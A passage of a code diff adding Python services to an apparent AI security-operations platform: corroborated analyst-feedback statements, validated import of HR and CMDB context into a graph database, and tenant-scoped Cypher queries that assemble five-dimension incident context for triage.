+ "expires_at": self.expires_at.isoformat() if self.expires_at else None,
+ "routes_to_detection_engineering": self.routes_to_detection_engineering,
+ }
+
+
+def _scope_value(reason: ReasonCode, context: dict[str, Any]) -> str:
+ """The thing a statement is about, per its scope."""
+ if reason.scope == "rule":
+ return str(context.get("rule_id") or context.get("rule_name") or "")
+ if reason.scope == "binary":
+ return str(context.get("process_name") or context.get("hash_sha256") or "")
+ if reason.scope == "entity":
+ return str(context.get("user_name") or context.get("hostname") or "")
+ return "tenant"
+
+
+def compose_statement(reason: ReasonCode, context: dict[str, Any]) -> str:
+ """Render the durable sentence an analyst will read six months from now.
+
+ Specific by construction. "PowerShell is expected" is a suppression
+ waiting to hide an incident; "PowerShell launched by svc_backup on
+ BACKUP01 is expected during the 02:00 backup window" is a fact.
+ """
+ process = context.get("process_name")
+ user = context.get("user_name")
+ host = context.get("hostname")
+ window = context.get("time_window")
+ rule = context.get("rule_name") or context.get("rule_id")
+
+ subject_parts = []
+ if process:
+ subject_parts.append(str(process))
+ if user:
+ subject_parts.append(f"launched by {user}")
+ if host:
+ subject_parts.append(f"on {host}")
+ subject = " ".join(subject_parts) or (f"alerts from rule {rule}" if rule else "this activity")
+
+ if reason.code == "known_admin_tool":
+ body = f"{subject} is sanctioned administrative tooling."
+ elif reason.code == "approved_pentest":
+ body = f"{subject} is authorised penetration testing."
+ elif reason.code == "expected_service_account":
+ body = f"{subject} is expected service-account behaviour"
+ body += f" during the {window} window." if window else "."
+ elif reason.code == "known_scanner":
+ body = f"{subject} originates from authorised scanning infrastructure."
+ elif reason.code == "business_application":
+ body = f"{subject} belongs to a sanctioned business application."
+ elif reason.code == "bad_detection_logic":
+ body = (
+ f"Rule {rule or 'unknown'} produces false positives on this pattern; "
+ f"the rule needs fixing rather than its output suppressing."
+ )
+ elif reason.code == "missing_context":
+ body = (
+ f"Verdicts on {subject} are wrong because the platform cannot see "
+ f"the context an analyst can; a connector or graph edge is missing."
+ )
+ else:
+ body = f"{subject} was confirmed as a genuine detection."
+
+ return body
+
+
+async def record_disagreement(
+ db: AsyncSession,
+ *,
+ tenant_id: uuid.UUID | str,
+ alert_id: uuid.UUID | str,
+ ai_disposition: str,
+ analyst_disposition: str,
+ reason_code: str,
+ analyst_id: str,
+ context: dict[str, Any] | None = None,
+ note: str = "",
+) -> ContextStatement | None:
+ """Record one disagreement; return a statement once it is corroborated.
+
+ Returns ``None`` while the reason has not yet been seen enough times by
+ enough distinct analysts. One analyst calling one alert benign is an
+ opinion; the same reason recurring is a pattern, and the threshold lives
+ here so a caller cannot quietly lower it.
+ """
+ reason = REASON_CODES.get(reason_code)
+ if reason is None:
+ raise ValueError(f"unknown reason code {reason_code!r}; must be one of {sorted(REASON_CODES)}")
+
+ context = context or {}
+ scope_value = _scope_value(reason, context)
+ tid = str(tenant_id)
+
+ await db.execute(
+ text(
+ "INSERT INTO aisoc_analyst_feedback "
+ "(tenant_id, alert_id, ai_disposition, analyst_disposition, reason_code, "
+ " scope, scope_value, analyst_id, note, context) "
+ "VALUES (:tenant_id, :alert_id, :ai, :analyst, :reason, :scope, :scope_value, "
+ " :analyst_id, :note, CAST(:context AS JSONB))"
+ ),
+ {
+ "tenant_id": tid,
+ "alert_id": str(alert_id),
+ "ai": ai_disposition,
+ "analyst": analyst_disposition,
+ "reason": reason.code,
+ "scope": reason.scope,
+ "scope_value": scope_value,
+ "analyst_id": analyst_id,
+ # Kept for a human reading the trail, never parsed. Free text is
+ # why this data was useless before.
+ "note": note[:2000],
+ "context": _json(context),
+ },
+ )
+
+ # Distinct analysts, not distinct rows: one person clicking the same
+ # button ten times is still one opinion.
+ corroborating = (
+ await db.execute(
+ text(
+ "SELECT count(DISTINCT analyst_id) FROM aisoc_analyst_feedback "
+ "WHERE tenant_id = :tenant_id AND reason_code = :reason "
+ " AND scope = :scope AND scope_value = :scope_value"
+ ),
+ {
+ "tenant_id": tid,
+ "reason": reason.code,
+ "scope": reason.scope,
+ "scope_value": scope_value,
+ },
+ )
+ ).scalar_one()
+
+ observations = int(corroborating)
+ if observations < reason.corroboration:
+ logger.info(
+ "analyst_feedback.recorded tenant=%s reason=%s observations=%d/%d (not yet trusted)",
+ tid,
+ reason.code,
+ observations,
+ reason.corroboration,
+ )
+ return None
+
+ expires_at = datetime.now(UTC) + timedelta(days=reason.ttl_days) if reason.ttl_days else None
+ statement = ContextStatement(
+ tenant_id=tid,
+ statement=compose_statement(reason, context),
+ reason_code=reason.code,
+ scope=reason.scope,
+ scope_value=scope_value,
+ observations=observations,
+ expires_at=expires_at,
+ routes_to_detection_engineering=reason.routes_to_detection_engineering,
+ )
+
+ await db.execute(
+ text(
+ "INSERT INTO aisoc_context_statements "
+ "(tenant_id, statement, reason_code, scope, scope_value, observations, expires_at) "
+ "VALUES (:tenant_id, :statement, :reason, :scope, :scope_value, :observations, "
+ " :expires_at) "
+ "ON CONFLICT (tenant_id, reason_code, scope, scope_value) DO UPDATE SET "
+ " statement = EXCLUDED.statement, "
+ " observations = EXCLUDED.observations, "
+ " expires_at = EXCLUDED.expires_at, "
+ " updated_at = now()"
+ ),
+ {
+ "tenant_id": tid,
+ "statement": statement.statement,
+ "reason": reason.code,
+ "scope": reason.scope,
+ "scope_value": scope_value,
+ "observations": observations,
+ "expires_at": expires_at,
+ },
+ )
+ logger.info(
+ "analyst_feedback.statement tenant=%s reason=%s scope=%s:%s observations=%d",
+ tid,
+ reason.code,
+ reason.scope,
+ scope_value,
+ observations,
+ )
+ return statement
+
+
+async def active_statements(db: AsyncSession, tenant_id: uuid.UUID | str) -> list[dict[str, Any]]:
+ """Unexpired organisation memory for a tenant, for the triage prompt.
+
+ Expiry is applied in the query rather than by a cleanup job: a statement
+ that should have expired must stop influencing verdicts at the moment it
+ expires, not whenever a worker next runs.
+ """
+ rows = await db.execute(
+ text(
+ "SELECT statement, reason_code, scope, scope_value, observations, expires_at "
+ "FROM aisoc_context_statements "
+ "WHERE tenant_id = :tenant_id "
+ " AND (expires_at IS NULL OR expires_at > now()) "
+ "ORDER BY observations DESC, updated_at DESC "
+ "LIMIT 200"
+ ),
+ {"tenant_id": str(tenant_id)},
+ )
+ return [dict(row) for row in rows.mappings()]
+
+
+def _json(value: Any) -> str:
+ try:
+ return json.dumps(value, default=str)
+ except (TypeError, ValueError):
+ return "{}"
diff --git a/services/api/app/services/context_import.py b/services/api/app/services/context_import.py
new file mode 100644
index 000000000..031a8d6b7
--- /dev/null
+++ b/services/api/app/services/context_import.py
@@ -0,0 +1,407 @@
+"""Import the context that events cannot carry.
+
+The v1.1 graph labels split cleanly by where the truth lives. An event can
+tell you an account authenticated; it cannot tell you which person holds that
+account, who they report to, whether they still work here, which business
+application the host serves, how critical it is, or what an outage costs.
+That is directory, HR and CMDB data, and it has to be imported.
+
+This is the difference between an alert that says "unusual login for
+svc_deploy" and one that says "unusual login for svc_deploy, owned by a
+contractor whose last day was Friday, on the host running the tier-1 payments
+service". Same event, different incident.
+
+Design notes:
+
+**Upsert, never replace.** An import runs on a schedule against a source of
+record that may be partial or briefly unavailable. Replacing the tenant's
+context with whatever one run produced would delete an entire department
+because an HR export timed out. Records are merged, and removal is explicit.
+
+**Departure is recorded, not deleted.** An employee with an end date whose
+accounts still authenticate is one of the highest-signal findings the graph
+can produce, and deleting the row on offboarding destroys exactly that
+signal.
+
+**Validation is strict and the report is per-record.** A partially-applied
+import that reports success is worse than a rejected one, because the gaps
+are invisible afterwards. Every rejected record is named with its reason.
+"""
+
+from __future__ import annotations
+
+import logging
+import re
+import uuid
+from dataclasses import dataclass, field
+from typing import Any
+
+from app.db.neo4j import get_session
+
+logger = logging.getLogger("aisoc.context_import")
+
+MAX_RECORDS_PER_KIND = 50_000
+_ID_RE = re.compile(r"^[A-Za-z0-9._@:\-]{1,200}$")
+
+CRITICALITY = ("tier-1", "tier-2", "tier-3", "tier-4", "unknown")
+DATA_CLASSIFICATION = ("public", "internal", "confidential", "restricted", "pci", "phi", "pii")
+
+
+@dataclass
+class ImportReport:
+ """Per-kind counts plus every rejection, named.
+
+ A count alone hides the shape of a failure: "imported 900 of 1000" does
+ not say whether the missing hundred are one malformed department or every
+ contractor.
+ """
+
+ employees: int = 0
+ departments: int = 0
+ applications: int = 0
+ cloud_accounts: int = 0
+ edges: int = 0
+ rejected: list[dict[str, str]] = field(default_factory=list)
+
+ @property
+ def total(self) -> int:
+ return self.employees + self.departments + self.applications + self.cloud_accounts
+
+ def reject(self, kind: str, identifier: str, reason: str) -> None:
+ self.rejected.append({"kind": kind, "id": identifier, "reason": reason})
+
+ def as_dict(self) -> dict[str, Any]:
+ return {
+ "employees": self.employees,
+ "departments": self.departments,
+ "applications": self.applications,
+ "cloud_accounts": self.cloud_accounts,
+ "edges": self.edges,
+ "imported": self.total,
+ "rejected_count": len(self.rejected),
+ # Bounded: a malformed export can reject every row, and a
+ # 50,000-entry error list is not a usable response.
+ "rejected": self.rejected[:100],
+ "rejected_truncated": len(self.rejected) > 100,
+ }
+
+
+def _valid_id(value: Any) -> bool:
+ return isinstance(value, str) and bool(_ID_RE.match(value.strip()))
+
+
+def _clean(value: Any, *, limit: int = 500) -> str | None:
+ """Trim a free-text property, or None if it is not usable.
+
+ Length-capped because these render in a UI and reach a prompt, and a
+ CMDB description field is a common place to find an entire runbook.
+ """
+ if not isinstance(value, str):
+ return None
+ text = value.strip()
+ return text[:limit] if text else None
+
+
+def _enum(value: Any, allowed: tuple[str, ...]) -> str | None:
+ """Normalise an enum-ish field, rejecting rather than guessing.
+
+ A criticality of "very important" must not silently become tier-1: the
+ autonomy policy reads this field, so a wrong value is a wrong decision.
+ """
+ if not isinstance(value, str):
+ return None
+ text = value.strip().lower()
+ return text if text in allowed else None
+
+
+async def import_context(
+ tenant_id: uuid.UUID | str,
+ payload: dict[str, Any],
+ *,
+ session: Any | None = None,
+) -> ImportReport:
+ """Upsert employees, departments, applications and cloud accounts.
+
+ ``payload`` accepts four optional lists. Relationships are expressed as
+ fields on the records rather than as a separate edge list, because a
+ separate list is one more thing an export can get out of step with.
+ """
+ report = ImportReport()
+ tid = str(tenant_id)
+
+ async def _apply(sess: Any) -> None:
+ await _import_departments(sess, tid, payload.get("departments") or [], report)
+ # Employees after departments so BELONGS_TO has a target; the MERGE
+ # would create a bare Department node otherwise, with a name nobody
+ # set.
+ await _import_employees(sess, tid, payload.get("employees") or [], report)
+ await _import_cloud_accounts(sess, tid, payload.get("cloud_accounts") or [], report)
+ await _import_applications(sess, tid, payload.get("applications") or [], report)
+
+ if session is not None:
+ await _apply(session)
+ else:
+ async with get_session() as sess:
+ await _apply(sess)
+
+ logger.info(
+ "context_import tenant=%s imported=%d rejected=%d",
+ tid,
+ report.total,
+ len(report.rejected),
+ )
+ return report
+
+
+async def _import_departments(session: Any, tenant_id: str, records: list[Any], report: ImportReport) -> None:
+ for record in records[:MAX_RECORDS_PER_KIND]:
+ if not isinstance(record, dict):
+ report.reject("department", str(record)[:40], "not an object")
+ continue
+ dept_id = record.get("id")
+ if not _valid_id(dept_id):
+ report.reject("department", str(dept_id)[:40], "missing or malformed id")
+ continue
+ name = _clean(record.get("name"), limit=200)
+ if not name:
+ report.reject("department", str(dept_id), "missing name")
+ continue
+
+ await session.run(
+ "MERGE (d:Department {id: $id}) "
+ "SET d.tenant_id = $tenant_id, d.name = $name, "
+ " d.cost_centre = coalesce($cost_centre, d.cost_centre), "
+ " d.updated_at = datetime()",
+ id=f"{tenant_id}:{dept_id}",
+ tenant_id=tenant_id,
+ name=name,
+ cost_centre=_clean(record.get("cost_centre"), limit=100),
+ )
+ report.departments += 1
+
+
+async def _import_employees(session: Any, tenant_id: str, records: list[Any], report: ImportReport) -> None:
+ for record in records[:MAX_RECORDS_PER_KIND]:
+ if not isinstance(record, dict):
+ report.reject("employee", str(record)[:40], "not an object")
+ continue
+ emp_id = record.get("id")
+ if not _valid_id(emp_id):
+ report.reject("employee", str(emp_id)[:40], "missing or malformed id")
+ continue
+
+ # is_active is derived from end_date rather than trusted from the
+ # payload: the two disagreeing is the exact case that matters, and an
+ # export that sets is_active=true on a departed employee would erase
+ # the finding.
+ end_date = _clean(record.get("end_date"), limit=40)
+ is_active = end_date is None
+
+ await session.run(
+ "MERGE (e:Employee {id: $id}) "
+ "SET e.tenant_id = $tenant_id, "
+ " e.email = coalesce($email, e.email), "
+ " e.display_name = coalesce($display_name, e.display_name), "
+ " e.title = coalesce($title, e.title), "
+ " e.employment_type = coalesce($employment_type, e.employment_type), "
+ " e.location = coalesce($location, e.location), "
+ " e.start_date = coalesce($start_date, e.start_date), "
+ " e.end_date = $end_date, "
+ " e.is_active = $is_active, "
+ " e.updated_at = datetime()",
+ id=f"{tenant_id}:{emp_id}",
+ tenant_id=tenant_id,
+ email=_clean(record.get("email"), limit=320),
+ display_name=_clean(record.get("display_name"), limit=200),
+ title=_clean(record.get("title"), limit=200),
+ employment_type=_clean(record.get("employment_type"), limit=60),
+ location=_clean(record.get("location"), limit=120),
+ start_date=_clean(record.get("start_date"), limit=40),
+ end_date=end_date,
+ is_active=is_active,
+ )
+ report.employees += 1
+
+ if _valid_id(record.get("department_id")):
+ await session.run(
+ "MATCH (e:Employee {id: $emp}), (d:Department {id: $dept}) "
+ "WHERE e.tenant_id = $tenant_id AND d.tenant_id = $tenant_id "
+ "MERGE (e)-[r:BELONGS_TO]->(d) SET r.snapshot_id = $snapshot",
+ emp=f"{tenant_id}:{emp_id}",
+ dept=f"{tenant_id}:{record['department_id']}",
+ tenant_id=tenant_id,
+ snapshot="import",
+ )
+ report.edges += 1
+
+ if _valid_id(record.get("manager_id")):
+ await session.run(
+ "MATCH (m:Employee {id: $mgr}), (e:Employee {id: $emp}) "
+ "WHERE m.tenant_id = $tenant_id AND e.tenant_id = $tenant_id "
+ "MERGE (m)-[r:MANAGES]->(e) SET r.snapshot_id = $snapshot",
+ mgr=f"{tenant_id}:{record['manager_id']}",
+ emp=f"{tenant_id}:{emp_id}",
+ tenant_id=tenant_id,
+ snapshot="import",
+ )
+ report.edges += 1
+
+ # The join that makes the whole identity dimension work: one person,
+ # many accounts. Matched on the existing Identity nodes the event
+ # pipeline already writes, so no account is invented here.
+ for account in record.get("accounts") or []:
+ if not isinstance(account, str) or not account.strip():
+ continue
+ result = await session.run(
+ "MATCH (i:Identity) "
+ "WHERE i.tenant_id = $tenant_id "
+ " AND (i.external_id = $account OR i.email = $account OR i.name = $account) "
+ "MATCH (e:Employee {id: $emp}) WHERE e.tenant_id = $tenant_id "
+ "MERGE (e)-[r:AUTHENTICATES_AS]->(i) SET r.snapshot_id = $snapshot "
+ "RETURN count(r) AS linked",
+ tenant_id=tenant_id,
+ account=account.strip(),
+ emp=f"{tenant_id}:{emp_id}",
+ snapshot="import",
+ )
+ row = await result.single()
+ linked = int(row["linked"]) if row else 0
+ report.edges += linked
+ if not linked:
+ # Named rather than silently dropped: an account the graph
+ # has never seen is either a typo or a system nothing
+ # ingests, and both are worth knowing.
+ report.reject(
+ "employee_account",
+ f"{emp_id}:{account}",
+ "no Identity node matches this account; it has not been seen in any ingested event",
+ )
+
+
+async def _import_cloud_accounts(session: Any, tenant_id: str, records: list[Any], report: ImportReport) -> None:
+ for record in records[:MAX_RECORDS_PER_KIND]:
+ if not isinstance(record, dict):
+ report.reject("cloud_account", str(record)[:40], "not an object")
+ continue
+ account_id = record.get("account_id")
+ provider = _clean(record.get("provider"), limit=40)
+ if not _valid_id(account_id) or not provider:
+ report.reject("cloud_account", str(account_id)[:40], "missing or malformed account_id/provider")
+ continue
+
+ await session.run(
+ "MERGE (c:CloudAccount {id: $id}) "
+ "SET c.tenant_id = $tenant_id, c.provider = $provider, "
+ " c.account_id = $account_id, "
+ " c.name = coalesce($name, c.name), "
+ " c.environment = coalesce($environment, c.environment), "
+ " c.updated_at = datetime()",
+ id=f"{tenant_id}:{provider}:{account_id}",
+ tenant_id=tenant_id,
+ provider=provider.lower(),
+ account_id=str(account_id),
+ name=_clean(record.get("name"), limit=200),
+ environment=_clean(record.get("environment"), limit=60),
+ )
+ report.cloud_accounts += 1
+
+
+async def _import_applications(session: Any, tenant_id: str, records: list[Any], report: ImportReport) -> None:
+ for record in records[:MAX_RECORDS_PER_KIND]:
+ if not isinstance(record, dict):
+ report.reject("application", str(record)[:40], "not an object")
+ continue
+ app_id = record.get("id")
+ if not _valid_id(app_id):
+ report.reject("application", str(app_id)[:40], "missing or malformed id")
+ continue
+ name = _clean(record.get("name"), limit=200)
+ if not name:
+ report.reject("application", str(app_id), "missing name")
+ continue
+
+ criticality = _enum(record.get("criticality"), CRITICALITY)
+ if record.get("criticality") and criticality is None:
+ # Rejected rather than coerced: the autonomy policy reads this
+ # field, so "very important" silently becoming tier-1 is a wrong
+ # decision, not a cosmetic one.
+ report.reject(
+ "application",
+ str(app_id),
+ f"criticality {record['criticality']!r} is not one of {CRITICALITY}",
+ )
+ continue
+
+ classification = _enum(record.get("data_classification"), DATA_CLASSIFICATION)
+ if record.get("data_classification") and classification is None:
+ report.reject(
+ "application",
+ str(app_id),
+ f"data_classification {record['data_classification']!r} is not one of " f"{DATA_CLASSIFICATION}",
+ )
+ continue
+
+ scope = [s.strip()[:60] for s in (record.get("compliance_scope") or []) if isinstance(s, str) and s.strip()][:20]
+
+ await session.run(
+ "MERGE (a:Application {id: $id}) "
+ "SET a.tenant_id = $tenant_id, a.name = $name, "
+ " a.criticality = coalesce($criticality, a.criticality), "
+ " a.data_classification = coalesce($classification, a.data_classification), "
+ " a.revenue_impact = coalesce($revenue_impact, a.revenue_impact), "
+ " a.environment = coalesce($environment, a.environment), "
+ " a.internet_facing = coalesce($internet_facing, a.internet_facing), "
+ " a.compliance_scope = $scope, "
+ " a.updated_at = datetime()",
+ id=f"{tenant_id}:{app_id}",
+ tenant_id=tenant_id,
+ name=name,
+ criticality=criticality,
+ classification=classification,
+ revenue_impact=_clean(record.get("revenue_impact"), limit=100),
+ environment=_clean(record.get("environment"), limit=60),
+ internet_facing=(bool(record["internet_facing"]) if "internet_facing" in record else None),
+ scope=scope,
+ )
+ report.applications += 1
+
+ if _valid_id(record.get("owner_employee_id")):
+ await session.run(
+ "MATCH (a:Application {id: $app}), (e:Employee {id: $owner}) "
+ "WHERE a.tenant_id = $tenant_id AND e.tenant_id = $tenant_id "
+ "MERGE (a)-[r:OWNED_BY]->(e) SET r.snapshot_id = $snapshot, r.role = $role",
+ app=f"{tenant_id}:{app_id}",
+ owner=f"{tenant_id}:{record['owner_employee_id']}",
+ tenant_id=tenant_id,
+ snapshot="import",
+ role=_clean(record.get("owner_role"), limit=60) or "business_owner",
+ )
+ report.edges += 1
+
+ # Resources are matched, never created: a CMDB naming a host the
+ # platform has never ingested should surface as a coverage gap, not
+ # as a graph node that looks monitored.
+ for host in record.get("hosts") or []:
+ if not isinstance(host, str) or not host.strip():
+ continue
+ result = await session.run(
+ "MATCH (r:Resource) "
+ "WHERE r.tenant_id = $tenant_id "
+ " AND (r.name = $host OR r.hostname = $host OR r.id = $host) "
+ "MATCH (a:Application {id: $app}) WHERE a.tenant_id = $tenant_id "
+ "MERGE (r)-[rel:RUNS]->(a) SET rel.snapshot_id = $snapshot "
+ "RETURN count(rel) AS linked",
+ tenant_id=tenant_id,
+ host=host.strip(),
+ app=f"{tenant_id}:{app_id}",
+ snapshot="import",
+ )
+ row = await result.single()
+ linked = int(row["linked"]) if row else 0
+ report.edges += linked
+ if not linked:
+ report.reject(
+ "application_host",
+ f"{app_id}:{host}",
+ "no Resource node matches this host; it is in the CMDB but has not " "been seen in any ingested event",
+ )
diff --git a/services/api/app/services/incident_context.py b/services/api/app/services/incident_context.py
new file mode 100644
index 000000000..164df1eda
--- /dev/null
+++ b/services/api/app/services/incident_context.py
@@ -0,0 +1,394 @@
+"""Incident context traversal: one query, five dimensions, tenant-scoped.
+
+An investigation needs to answer five questions about an alert, and until now
+each was a separate round trip or was not answerable at all:
+
+ identity Which person is behind the account, what team, who is their
+ manager, are they still employed?
+ asset What host, who owns it, what does it run, what is exploitable
+ on it right now?
+ cloud Which account, which workload, what secrets does it reach?
+ business Which business application, how critical, what data class,
+ who is accountable?
+ threat Which indicators, which malware family, which campaign, which
+ actor, which techniques?
+
+``get_blast_radius`` answers "what is reachable" but not "what does any of it
+mean" — it returns a node set, unlabelled by dimension, so a caller has to
+re-derive the structure. This returns the five dimensions separately, which
+is what a narrative and a prompt both need.
+
+Three properties are load-bearing:
+
+**Tenant scoping on every node of every path.** Not just the start node: an
+expansion through a shared entity (a public IP both tenants have seen) is how
+a traversal leaves its tenant. Global reference labels — MITRE technique and
+tactic vocabulary, public malware and actor intel — are exempt, because
+requiring a tenant_id on them makes them unreachable for everyone.
+
+**Bounded fan-out.** Every leg has its own LIMIT. An unbounded traversal from
+a busy host is not slow, it is unbounded, and this sits on the hot path of
+every escalated alert.
+
+**Partial results are reported as partial.** One dimension failing returns
+the other four with the failure named, rather than an empty bundle that reads
+as "no context exists" — which is the same output an agent gets for a genuinely
+isolated alert, and the two must not be confused.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import logging
+from dataclasses import asdict, dataclass, field
+from typing import Any
+
+from app.db.neo4j import get_session
+
+logger = logging.getLogger("aisoc.incident_context")
+
+#: Reference entities shared across tenants. Must match
+#: ``graph.GlobalNodeLabels`` in services/ingest/internal/graph/schema.go.
+GLOBAL_LABELS = (
+ "Technique",
+ "Tactic",
+ "Mitigation",
+ "Malware",
+ "Campaign",
+ "ThreatActor",
+ # A CVE is the same fact in every tenant and the node carries no
+ # tenant data. What is tenant-specific is the AFFECTED_BY edge from a
+ # scoped Resource, so the node is global and only ever reached as a
+ # terminal hop — never traversed *through*, which would make it a
+ # bridge between two tenants' estates.
+ "Vulnerability",
+)
+
+_SCOPED = "({v}.tenant_id = $tenant_id OR any(l IN labels({v}) WHERE l IN $global_labels))"
+
+# Per-dimension caps. A traversal from a jump host or a shared service
+# account can otherwise fan out across the estate.
+LIMIT_IDENTITIES = 25
+LIMIT_ASSETS = 25
+LIMIT_VULNS = 20
+LIMIT_CLOUD = 15
+LIMIT_BUSINESS = 15
+LIMIT_THREAT = 25
+
+# Neo4j default timeout is unbounded. On the hot path of every escalated
+# alert, an unbounded read is an outage waiting for its busiest tenant.
+QUERY_TIMEOUT_SECONDS = 8.0
+
+
+def _scoped(var: str) -> str:
+ return _SCOPED.format(v=var)
+
+
+@dataclass
+class IncidentContext:
+ """The five dimensions, plus what failed while gathering them."""
+
+ alert_id: str
+ tenant_id: str
+ identities: list[dict[str, Any]] = field(default_factory=list)
+ assets: list[dict[str, Any]] = field(default_factory=list)
+ cloud: list[dict[str, Any]] = field(default_factory=list)
+ business: list[dict[str, Any]] = field(default_factory=list)
+ threat: list[dict[str, Any]] = field(default_factory=list)
+ errors: list[str] = field(default_factory=list)
+
+ @property
+ def dimensions_resolved(self) -> int:
+ return sum(1 for d in (self.identities, self.assets, self.cloud, self.business, self.threat) if d)
+
+ @property
+ def is_partial(self) -> bool:
+ return bool(self.errors)
+
+ def as_dict(self) -> dict[str, Any]:
+ payload = asdict(self)
+ payload["dimensions_resolved"] = self.dimensions_resolved
+ payload["partial"] = self.is_partial
+ return payload
+
+ def narrative_lines(self) -> list[str]:
+ """Render as prompt-ready lines.
+
+ Deliberately omits anything an agent should not reason over: secret
+ *values* are never in the graph, and node internals are not useful to
+ a model. What is included is what changes a verdict.
+ """
+ lines: list[str] = []
+
+ for person in self.identities[:5]:
+ bits = [f"account {person.get('account') or 'unknown'}"]
+ if person.get("employee"):
+ bits.append(f"held by {person['employee']}")
+ if person.get("title"):
+ bits.append(person["title"])
+ if person.get("department"):
+ bits.append(f"in {person['department']}")
+ if person.get("manager"):
+ bits.append(f"reports to {person['manager']}")
+ # A departed employee with a live account is the single
+ # highest-signal fact this traversal can surface.
+ if person.get("is_active") is False:
+ bits.append("**employee is no longer active**")
+ lines.append("- Identity: " + ", ".join(bits))
+
+ for asset in self.assets[:5]:
+ bits = [asset.get("name") or asset.get("id") or "unknown host"]
+ if asset.get("owner"):
+ bits.append(f"owned by {asset['owner']}")
+ vulns = asset.get("vulnerabilities") or []
+ if vulns:
+ kev = [v for v in vulns if v.get("known_exploited")]
+ bits.append(f"{len(vulns)} known vulnerabilities" + (f", {len(kev)} known-exploited" if kev else ""))
+ lines.append("- Asset: " + ", ".join(bits))
+
+ for account in self.cloud[:5]:
+ bits = [f"{account.get('provider') or 'cloud'} account {account.get('account_id')}"]
+ if account.get("environment"):
+ bits.append(account["environment"])
+ if account.get("secret_count"):
+ bits.append(f"{account['secret_count']} reachable secret references")
+ lines.append("- Cloud: " + ", ".join(bits))
+
+ for app in self.business[:5]:
+ bits = [app.get("name") or "unknown application"]
+ if app.get("criticality"):
+ bits.append(f"criticality {app['criticality']}")
+ if app.get("data_classification"):
+ bits.append(f"data {app['data_classification']}")
+ if app.get("owner"):
+ bits.append(f"business owner {app['owner']}")
+ if app.get("internet_facing"):
+ bits.append("internet-facing")
+ lines.append("- Business: " + ", ".join(bits))
+
+ for threat in self.threat[:5]:
+ bits = [f"{threat.get('ioc_type') or 'indicator'} {threat.get('ioc')}"]
+ if threat.get("malware"):
+ bits.append(f"associated with {threat['malware']}")
+ if threat.get("actor"):
+ confidence = threat.get("attribution_confidence")
+ # Attribution is contested and frequently revised, so it is
+ # never rendered as fact.
+ suffix = f" (attribution confidence {confidence})" if confidence else " (attribution unconfirmed)"
+ bits.append(f"attributed to {threat['actor']}{suffix}")
+ if threat.get("techniques"):
+ bits.append("techniques " + ", ".join(threat["techniques"][:4]))
+ lines.append("- Threat: " + ", ".join(bits))
+
+ if self.errors:
+ lines.append("- NOTE: context is partial; these dimensions could not be read: " + ", ".join(self.errors))
+ return lines
+
+
+# ── Cypher, one query per dimension ─────────────────────────────────────────
+# Split rather than combined: a single query would make one slow leg slow
+# everything, and one failing leg fail everything.
+
+_IDENTITY_CYPHER = f"""
+MATCH (a:Alert {{id: $alert_id}})
+WHERE {_scoped("a")}
+MATCH (a)-[:OCCURRED_ON|INVOLVES*1..2]-(i:Identity)
+WHERE {_scoped("i")}
+OPTIONAL MATCH (e:Employee)-[:AUTHENTICATES_AS]->(i)
+WHERE {_scoped("e")}
+OPTIONAL MATCH (e)-[:BELONGS_TO]->(d:Department)
+WHERE {_scoped("d")}
+OPTIONAL MATCH (mgr:Employee)-[:MANAGES]->(e)
+WHERE {_scoped("mgr")}
+RETURN DISTINCT
+ i.external_id AS account,
+ i.provider AS provider,
+ e.display_name AS employee,
+ e.title AS title,
+ e.is_active AS is_active,
+ d.name AS department,
+ mgr.display_name AS manager,
+ mgr.email AS manager_email
+LIMIT $limit
+"""
+
+_ASSET_CYPHER = f"""
+MATCH (a:Alert {{id: $alert_id}})
+WHERE {_scoped("a")}
+MATCH (a)-[:OCCURRED_ON|INVOLVES*1..2]-(r:Resource)
+WHERE {_scoped("r")}
+OPTIONAL MATCH (owner:Identity)-[:OWNS]->(r)
+WHERE {_scoped("owner")}
+OPTIONAL MATCH (r)-[:AFFECTED_BY]->(v:Vulnerability)
+WITH r, owner, v
+ORDER BY coalesce(v.known_exploited, false) DESC, coalesce(v.cvss_score, 0) DESC
+WITH r, owner, collect(DISTINCT {{
+ cve_id: v.cve_id,
+ cvss_score: v.cvss_score,
+ known_exploited: v.known_exploited
+}})[..$vuln_limit] AS vulns
+RETURN DISTINCT
+ r.id AS id,
+ coalesce(r.name, r.hostname) AS name,
+ r.resource_type AS resource_type,
+ owner.display_name AS owner,
+ [x IN vulns WHERE x.cve_id IS NOT NULL] AS vulnerabilities
+LIMIT $limit
+"""
+
+_CLOUD_CYPHER = f"""
+MATCH (a:Alert {{id: $alert_id}})
+WHERE {_scoped("a")}
+MATCH (a)-[:OCCURRED_ON|INVOLVES*1..2]-(r:Resource)
+WHERE {_scoped("r")}
+MATCH (r)-[:IN_ACCOUNT]->(ca:CloudAccount)
+WHERE {_scoped("ca")}
+OPTIONAL MATCH (r)-[:STORES]->(s:Secret)
+WHERE {_scoped("s")}
+RETURN DISTINCT
+ ca.account_id AS account_id,
+ ca.provider AS provider,
+ ca.name AS name,
+ ca.environment AS environment,
+ count(DISTINCT s) AS secret_count
+LIMIT $limit
+"""
+
+_BUSINESS_CYPHER = f"""
+MATCH (a:Alert {{id: $alert_id}})
+WHERE {_scoped("a")}
+MATCH (a)-[:OCCURRED_ON|INVOLVES*1..2]-(r:Resource)
+WHERE {_scoped("r")}
+MATCH (r)-[:RUNS]->(app:Application)
+WHERE {_scoped("app")}
+OPTIONAL MATCH (app)-[:OWNED_BY]->(bo:Employee)
+WHERE {_scoped("bo")}
+RETURN DISTINCT
+ app.name AS name,
+ app.criticality AS criticality,
+ app.data_classification AS data_classification,
+ app.revenue_impact AS revenue_impact,
+ app.environment AS environment,
+ app.internet_facing AS internet_facing,
+ app.compliance_scope AS compliance_scope,
+ bo.display_name AS owner,
+ bo.email AS owner_email
+LIMIT $limit
+"""
+
+_THREAT_CYPHER = f"""
+MATCH (a:Alert {{id: $alert_id}})
+WHERE {_scoped("a")}
+MATCH (a)-[:OBSERVED_IOC]->(ioc:IOC)
+WHERE {_scoped("ioc")}
+OPTIONAL MATCH (ioc)-[:INDICATES]->(m:Malware)
+OPTIONAL MATCH (m)-[:PART_OF]->(c:Campaign)
+OPTIONAL MATCH (c)-[attr:ATTRIBUTED_TO]->(actor:ThreatActor)
+OPTIONAL MATCH (m)-[:USES_TECHNIQUE]->(t:Technique)
+RETURN DISTINCT
+ ioc.value AS ioc,
+ ioc.type AS ioc_type,
+ m.name AS malware,
+ c.name AS campaign,
+ actor.name AS actor,
+ attr.confidence AS attribution_confidence,
+ collect(DISTINCT t.id)[..6] AS techniques
+LIMIT $limit
+"""
+
